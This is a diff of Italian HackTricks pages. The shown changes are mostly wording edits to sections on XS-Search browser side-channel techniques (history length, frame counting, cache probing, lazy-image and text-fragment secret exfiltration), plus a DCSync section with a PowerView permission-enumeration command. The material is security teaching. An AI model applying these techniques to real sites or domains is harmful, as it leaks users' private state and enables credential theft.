Se il **massimo** numero di **reindirizzamenti** da seguire di un browser è **20**, un attaccante potrebbe provare a caricare la propria pagina con **19 reindirizzamenti** e infine **mandare la vittima** alla pagina testata. Se viene generato un **errore**, allora la pagina stava cercando di **reindirizzare la vittima**. Se il **numero massimo** di **reindirizzamenti** da seguire di un browser è **20**, un attaccante potrebbe provare a caricare la sua pagina con **19 reindirizzamenti** e infine **mandare la vittima** alla pagina testata. Se viene generato un **errore**, allora la pagina stava cercando di **reindirizzare la vittima**.
### Lunghezza della cronologia ### Lunghezza della cronologia
@ -639,16 +646,16 @@ Se il **massimo** numero di **reindirizzamenti** da seguire di un browser è **2
* **Esempio di codice**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak) * **Esempio di codice**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
L'**API della cronologia** consente al codice JavaScript di manipolare la cronologia del browser, che **salva le pagine visitate da un utente**. Un attaccante può utilizzare la proprietà length come metodo di inclusione: per rilevare la navigazione JavaScript e HTML.\ L'**API della cronologia** consente al codice JavaScript di manipolare la cronologia del browser, che **salva le pagine visitate da un utente**. Un attaccante può utilizzare la proprietà length come metodo di inclusione: per rilevare la navigazione JavaScript e HTML.\
Controllando `history.length`, facendo navigare un utente a una pagina, **cambiandola** nuovamente allo stesso origine e **controllando** il nuovo valore di **`history.length`**. Controllando `history.length`, facendo **navigare** un utente su una pagina, **riportandolo** alla stessa origine e **controllando** il nuovo valore di **`history.length`**.
### Lunghezza della cronologia con stessa URL ### Lunghezza della cronologia con lo stesso URL
* **Metodi di inclusione**: Frames, Pop-up * **Metodi di inclusione**: Frames, Pop-up
* **Differenza rilevabile**: Se l'URL è lo stesso di quello indovinato * **Differenza rilevabile**: Se l'URL è lo stesso di quello indovinato
* **Sommario:** È possibile indovinare se la posizione di un frame/popup è in un URL specifico abusando della lunghezza della cronologia. * **Sommario:** È possibile indovinare se la posizione di un frame/popup è in un URL specifico abusando della lunghezza della cronologia.
* **Esempio di codice**: Di seguito * **Esempio di codice**: Di seguito
Un attaccante potrebbe utilizzare il codice JavaScript per **manipolare la posizione del frame/pop-up in un URL indovinato** e **cambiarlo immediatamente a `about:blank`**. Se la lunghezza della cronologia aumenta significa che l'URL era corretto ed ha avuto il tempo di **aumentare perché l'URL non viene ricaricato se è lo stesso**. Se non aumenta significa che ha **provato a caricare l'URL indovinato** ma poiché **immediatamente dopo** è stato caricato **`about:blank`**, la **lunghezza della cronologia non è mai aumentata** durante il caricamento dell'URL indovinato. Un attaccante potrebbe utilizzare il codice JavaScript per **manipolare la posizione del frame/pop-up su un URL indovinato** e **cambiarlo immediatamente a `about:blank`**. Se la lunghezza della cronologia aumenta, significa che l'URL era corretto ed ha avuto il tempo di **aumentare perché l'URL non viene ricaricato se è lo stesso**. Se non aumenta, significa che ha **provato a caricare l'URL indovinato** ma poiché **immediatamente dopo** è stato caricato **`about:blank`**, la **lunghezza della cronologia non è mai aumentata** durante il caricamento dell'URL indovinato.
```javascript ```javascript
async function debug(win, url) { async function debug(win, url) {
win.location = url + '#aaa'; win.location = url + '#aaa';
@ -666,7 +673,7 @@ win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000)); await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b")); console.log(await debug(win, "https://example.com/?a=b"));
``` ```
### Conteggio Frame ### Conteggio dei Frame
* **Metodi di Inclusione**: Frame, Pop-up * **Metodi di Inclusione**: Frame, Pop-up
* **Differenza Rilevabile**: Contenuto della Pagina * **Differenza Rilevabile**: Contenuto della Pagina
@ -677,7 +684,7 @@ console.log(await debug(win, "https://example.com/?a=b"));
Contare il **numero di frame in una pagina web** aperta tramite `iframe` o `window.open` potrebbe aiutare a identificare lo **stato dell'utente su quella pagina**.\ Contare il **numero di frame in una pagina web** aperta tramite `iframe` o `window.open` potrebbe aiutare a identificare lo **stato dell'utente su quella pagina**.\
Inoltre, se la pagina ha sempre lo stesso numero di frame, controllare **continuamente** il numero di frame potrebbe aiutare a identificare un **pattern** che potrebbe rivelare informazioni. Inoltre, se la pagina ha sempre lo stesso numero di frame, controllare **continuamente** il numero di frame potrebbe aiutare a identificare un **pattern** che potrebbe rivelare informazioni.
Un esempio di questa tecnica è che in Chrome, un **PDF** può essere **rilevato** con il **conteggio dei frame** perché viene utilizzato internamente un `embed`. Esistono [Parametri di URL Aperti](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) che consentono un certo controllo sul contenuto come `zoom`, `view`, `page`, `toolbar` dove questa tecnica potrebbe essere interessante. Un esempio di questa tecnica è che in Chrome, un **PDF** può essere **rilevato** con il **conteggio dei frame** perché viene utilizzato internamente un `embed`. Ci sono [Parametri di URL Aperti](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) che consentono un certo controllo sul contenuto come `zoom`, `view`, `page`, `toolbar` dove questa tecnica potrebbe essere interessante.
### HTMLElements ### HTMLElements
@ -687,7 +694,7 @@ Un esempio di questa tecnica è che in Chrome, un **PDF** può essere **rilevato
* **Sommario:** Leggere il valore rivelato per distinguere tra 2 stati possibili * **Sommario:** Leggere il valore rivelato per distinguere tra 2 stati possibili
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak) * **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
La fuga di informazioni attraverso gli elementi HTML è una preoccupazione nella sicurezza web, in particolare quando vengono generati file multimediali dinamici basati sulle informazioni dell'utente, o quando vengono aggiunti watermark, alterando le dimensioni dei media. Questo può essere sfruttato dagli attaccanti per differenziare tra possibili stati analizzando le informazioni esposte da determinati elementi HTML. La fuga di informazioni attraverso gli elementi HTML è una preoccupazione nella sicurezza web, in particolare quando vengono generati file multimediali dinamici basati sulle informazioni dell'utente, o quando vengono aggiunti watermark, modificando le dimensioni dei media. Questo può essere sfruttato dagli attaccanti per differenziare tra possibili stati analizzando le informazioni esposte da determinati elementi HTML.
### Informazioni Esposte dagli Elementi HTML ### Informazioni Esposte dagli Elementi HTML
@ -730,7 +737,7 @@ Per ulteriori dettagli su queste proprietà e metodi, visita le loro pagine di d
* `:visited`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited) * `:visited`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
* `getComputedStyle()`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle) * `getComputedStyle()`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
* `mix-blend-mode`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode) * `mix-blend-mode`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### Fuga X-Frame del documento di contenuto ### Fuga X-Frame di ContentDocument
* **Metodi di Inclusione**: Frame * **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Intestazioni * **Differenza Rilevabile**: Intestazioni
@ -752,13 +759,13 @@ L'intestazione `Content-Disposition`, in particolare `Content-Disposition: attac
1. **Monitoraggio della Barra di Download**: 1. **Monitoraggio della Barra di Download**:
* Quando un file viene scaricato nei browser basati su Chromium, compare una barra di download nella parte inferiore della finestra del browser. * Quando un file viene scaricato nei browser basati su Chromium, compare una barra di download nella parte inferiore della finestra del browser.
* Monitorando le modifiche dell'altezza della finestra, gli attaccanti possono dedurre l'apparizione della barra di download, suggerendo che è stato avviato un download. * Monitorando i cambiamenti dell'altezza della finestra, gli attaccanti possono dedurre l'apparizione della barra di download, suggerendo che è stato avviato un download.
2. **Navigazione del Download con Iframe**: 2. **Navigazione del Download con Iframe**:
* Quando una pagina attiva un download di file utilizzando l'intestazione `Content-Disposition: attachment`, ciò non provoca un evento di navigazione. * Quando una pagina attiva un download di file utilizzando l'intestazione `Content-Disposition: attachment`, ciò non provoca un evento di navigazione.
* Caricando il contenuto in un iframe e monitorando gli eventi di navigazione, è possibile verificare se la disposizione del contenuto provoca un download di file (nessuna navigazione) o meno. * Caricando il contenuto in un iframe e monitorando gli eventi di navigazione, è possibile verificare se la disposizione del contenuto provoca un download di file (nessuna navigazione) o meno.
3. **Navigazione del Download senza Iframe**: 3. **Navigazione del Download senza Iframe**:
* Simile alla tecnica dell'iframe, questo metodo coinvolge l'uso di `window.open` anziché di un iframe. * Simile alla tecnica dell'iframe, questo metodo coinvolge l'uso di `window.open` anziché di un iframe.
* Monitorando gli eventi di navigazione nella finestra appena aperta è possibile scoprire se è stato attivato un download di file (nessuna navigazione) o se il contenuto viene visualizzato inline (si verifica la navigazione). * Monitorando gli eventi di navigazione nella finestra appena aperta è possibile scoprire se è stato attivato un download di file (nessuna navigazione) o se il contenuto viene visualizzato inline (si verifica una navigazione).
In scenari in cui solo gli utenti autenticati possono attivare tali download, queste tecniche possono essere utilizzate per dedurre indirettamente lo stato di autenticazione dell'utente in base alla risposta del browser alla richiesta di download. In scenari in cui solo gli utenti autenticati possono attivare tali download, queste tecniche possono essere utilizzate per dedurre indirettamente lo stato di autenticazione dell'utente in base alla risposta del browser alla richiesta di download.
@ -771,7 +778,7 @@ In scenari in cui solo gli utenti autenticati possono attivare tali download, qu
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (da [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)) * **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (da [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% hint style="warning" %} {% hint style="warning" %}
Questo è il motivo per cui questa tecnica è interessante: Chrome ora ha **la partizione della cache**, e la chiave della cache della pagina appena aperta è: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, ma se apro una pagina ngrok e faccio fetch su di essa, la chiave della cache sarà: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **chiave della cache è diversa**, quindi la cache non può essere condivisa. Puoi trovare maggiori dettagli qui: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\ Questo è il motivo per cui questa tecnica è interessante: Chrome ora ha **partizionamento della cache**, e la chiave di cache della pagina appena aperta è: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, ma se apro una pagina ngrok e faccio fetch su di essa, la chiave di cache sarà: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **chiave di cache è diversa**, quindi la cache non può essere condivisa. Puoi trovare maggiori dettagli qui: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
(Commento da [**qui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)) (Commento da [**qui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% endhint %} {% endhint %}
@ -795,7 +802,7 @@ Oppure si potrebbe semplicemente **inviare qualche fetch alla pagina potenzialme
* **Metodi di Inclusione**: Fetch API * **Metodi di Inclusione**: Fetch API
* **Differenza Rilevabile**: Temporizzazione * **Differenza Rilevabile**: Temporizzazione
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller) * **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **Sommario:** È possibile provare a caricare una risorsa e interrompere il caricamento prima che sia completato. A seconda se viene generato un errore, la risorsa è stata o non è stata memorizzata nella cache. * **Sommario:** È possibile provare a caricare una risorsa e interrompere il caricamento prima che sia completato. A seconda se viene generato un errore, la risorsa era o non era in cache.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller) * **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Utilizzare _**fetch**_ e _**setTimeout**_ con un **AbortController** per rilevare se la **risorsa è in cache** ed espellere una risorsa specifica dalla cache del browser. Inoltre, il processo avviene senza memorizzare nuovi contenuti. Utilizzare _**fetch**_ e _**setTimeout**_ con un **AbortController** per rilevare se la **risorsa è in cache** ed espellere una risorsa specifica dalla cache del browser. Inoltre, il processo avviene senza memorizzare nuovi contenuti.
@ -815,9 +822,9 @@ Utilizzare _**fetch**_ e _**setTimeout**_ con un **AbortController** per rilevar
* **Sommario:** Misura il tempo di esecuzione di un sito web utilizzando i service workers. * **Sommario:** Misura il tempo di esecuzione di un sito web utilizzando i service workers.
* **Esempio di codice**: * **Esempio di codice**:
Nel caso specifico, l'attaccante prende l'iniziativa di registrare un **service worker** all'interno di uno dei loro domini, specificamente "attaccante.com". Successivamente, l'attaccante apre una nuova finestra nel sito di destinazione dal documento principale e istruisce il **service worker** a avviare un timer. Mentre la nuova finestra inizia a caricarsi, l'attaccante naviga il riferimento ottenuto nel passaggio precedente verso una pagina gestita dal **service worker**. Nel caso specifico, l'attaccante prende l'iniziativa di registrare un **service worker** all'interno di uno dei loro domini, specificamente "attaccante.com". Successivamente, l'attaccante apre una nuova finestra nel sito web di destinazione dal documento principale e istruisce il **service worker** a avviare un timer. Mentre la nuova finestra inizia a caricarsi, l'attaccante naviga il riferimento ottenuto nel passaggio precedente verso una pagina gestita dal **service worker**.
All'arrivo della richiesta avviata nel passaggio precedente, il **service worker** risponde con un codice di stato **204 (No Content)**, terminando efficacemente il processo di navigazione. A questo punto, il **service worker** cattura una misurazione dal timer avviato in precedenza nel secondo passaggio. Questa misurazione è influenzata dalla durata di JavaScript che causa ritardi nel processo di navigazione. All'arrivo della richiesta avviata nel passaggio precedente, il **service worker** risponde con uno stato di codice **204 (No Content)**, terminando efficacemente il processo di navigazione. A questo punto, il **service worker** cattura una misurazione dal timer avviato in precedenza nel secondo passaggio. Questa misurazione è influenzata dalla durata di JavaScript che causa ritardi nel processo di navigazione.
{% hint style="warning" %} {% hint style="warning" %}
In un timing di esecuzione è possibile **eliminare** i **fattori di rete** per ottenere **misure più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla. In un timing di esecuzione è possibile **eliminare** i **fattori di rete** per ottenere **misure più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
@ -842,10 +849,10 @@ In un timing di esecuzione è possibile **eliminare** i **fattori di rete** per
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=xs-search) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
## Con HTML o reiniezione ## Con HTML o reiniezione
@ -859,35 +866,35 @@ Qui puoi trovare tecniche per esfiltrare informazioni da un HTML cross-origin **
### Caricamento pigro delle immagini ### Caricamento pigro delle immagini
Se devi **esfiltrare contenuti** e puoi **aggiungere HTML prima del segreto** dovresti controllare le **tecniche comuni di markup sospeso**.\ Se hai bisogno di **esfiltrare contenuti** e puoi **aggiungere HTML prima del segreto** dovresti controllare le **tecniche comuni di markup sospeso**.\
Tuttavia, se per qualsiasi motivo **DEVI** farlo **carattere per carattere** (forse la comunicazione avviene tramite un hit di cache) puoi usare questo trucco. Tuttavia, se per qualsiasi motivo **DEVI** farlo **carattere per carattere** (forse la comunicazione avviene tramite un hit della cache) puoi usare questo trucco.
Le **immagini** in HTML hanno un attributo "**loading**" il cui valore può essere "**lazy**". In tal caso, l'immagine verrà caricata quando viene visualizzata e non durante il caricamento della pagina: Le **immagini** in HTML hanno un attributo "**loading**" il cui valore può essere "**lazy**". In tal caso, l'immagine verrà caricata quando viene visualizzata e non durante il caricamento della pagina:
```html ```html
<img src=/something loading=lazy > <img src=/something loading=lazy >
``` ```
Quindi, ciò che puoi fare è **aggiungere molti caratteri spuri** (ad esempio **migliaia di "W"**) per **riempire la pagina web prima del segreto o aggiungere qualcosa come** `<br><canvas height="1850px"></canvas><br>.`\ Quindi, ciò che puoi fare è **aggiungere un sacco di caratteri spazzatura** (ad esempio **migliaia di "W"**) per **riempire la pagina web prima del segreto o aggiungere qualcosa come** `<br><canvas height="1850px"></canvas><br>.`\
Quindi, se ad esempio la nostra **iniezione appare prima della flag**, l'**immagine** verrà **caricata**, ma se appare **dopo** la **flag**, la flag + i caratteri spuri **impediranno il caricamento** (dovrai giocare con la quantità di caratteri spuri da inserire). Questo è ciò che è successo in [**questo articolo**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/). Quindi, se ad esempio la nostra **iniezione appare prima della flag**, l'**immagine** verrà **caricata**, ma se appare **dopo** la **flag**, la flag + la spazzatura **impediranno il caricamento** (dovrai giocare con la quantità di spazzatura da inserire). Questo è ciò che è successo in [**questo articolo**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Un'altra opzione sarebbe utilizzare il **scroll-to-text-fragment** se consentito: Un'altra opzione sarebbe utilizzare il **scroll-to-text-fragment** se consentito:
#### Scroll-to-text-fragment #### Scroll-to-text-fragment
Tuttavia, fai sì che il **bot acceda alla pagina** con qualcosa del genere Tuttavia, fai **accedere al bot alla pagina** con qualcosa del genere
``` ```
#:~:text=SECR #:~:text=SECR
``` ```
Quindi la pagina web sarà qualcosa del genere: **`https://vittima.com/post.html#:~:text=SECR`** Quindi la pagina web sarà qualcosa del genere: **`https://vittima.com/post.html#:~:text=SECR`**
Dove post.html contiene i caratteri spazzatura dell'attaccante e un'immagine a caricamento ritardato e poi viene aggiunto il segreto del bot. Dove post.html contiene i caratteri spazzatura dell'attaccante e un'immagine a caricamento lento e poi viene aggiunto il segreto del bot.
Ciò che questo testo farà è far sì che il bot acceda a qualsiasi testo nella pagina che contiene il testo `SECR`. Poiché quel testo è il segreto ed è proprio **sotto l'immagine**, l'**immagine si caricherà solo se il segreto indovinato è corretto**. Quindi hai il tuo oracolo per **esfiltrare il segreto carattere per carattere**. Ciò che questo testo farà è far sì che il bot acceda a qualsiasi testo nella pagina che contiene il testo `SECR`. Poiché quel testo è il segreto ed è proprio **sotto l'immagine**, l'**immagine si caricherà solo se il segreto indovinato è corretto**. Quindi hai il tuo oracolo per **esfiltrare il segreto carattere per carattere**.
Un esempio di codice per sfruttare ciò: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) Un esempio di codice per sfruttare ciò: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### Caricamento Ritardato dell'Immagine Basato sul Tempo ### Caricamento Lento dell'Immagine Basato sul Tempo
Se non è **possibile caricare un'immagine esterna** che potrebbe indicare all'attaccante che l'immagine è stata caricata, un'altra opzione sarebbe provare a **indovinare il carattere più volte e misurare ciò**. Se l'immagine viene caricata, tutte le richieste impiegherebbero più tempo rispetto a quando l'immagine non viene caricata. Questo è ciò che è stato utilizzato nella [**soluzione di questo writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **riassunto qui:** Se non è **possibile caricare un'immagine esterna** che potrebbe indicare all'attaccante che l'immagine è stata caricata, un'altra opzione sarebbe provare a **indovinare il carattere più volte e misurare ciò**. Se l'immagine viene caricata, tutte le richieste richiederanno più tempo rispetto a quando l'immagine non viene caricata. Questo è ciò che è stato utilizzato nella [**soluzione di questo writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **riassunto qui:**
{% content-ref url="event-loop-blocking-+-lazy-images.md" %} {% content-ref url="event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](event-loop-blocking-+-lazy-images.md) [event-loop-blocking-+-lazy-images.md](event-loop-blocking-+-lazy-images.md)
@ -943,4 +950,4 @@ Altri modi per supportare HackTricks:
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

View file

@ -3,19 +3,19 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=dcsync) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=dcsync" %}
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -34,7 +34,7 @@ Il permesso **DCSync** implica avere questi permessi sul dominio stesso: **DS-Re
### Enumerazione ### Enumerazione
Controlla chi ha questi permessi usando `powerview`: Controlla chi ha questi permessi utilizzando `powerview`:
```powershell ```powershell
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')} Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
``` ```
@ -89,7 +89,7 @@ Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -98,7 +98,7 @@ Altri modi per supportare HackTricks:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=dcsync) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=dcsync" %}

View file

@ -3,10 +3,10 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
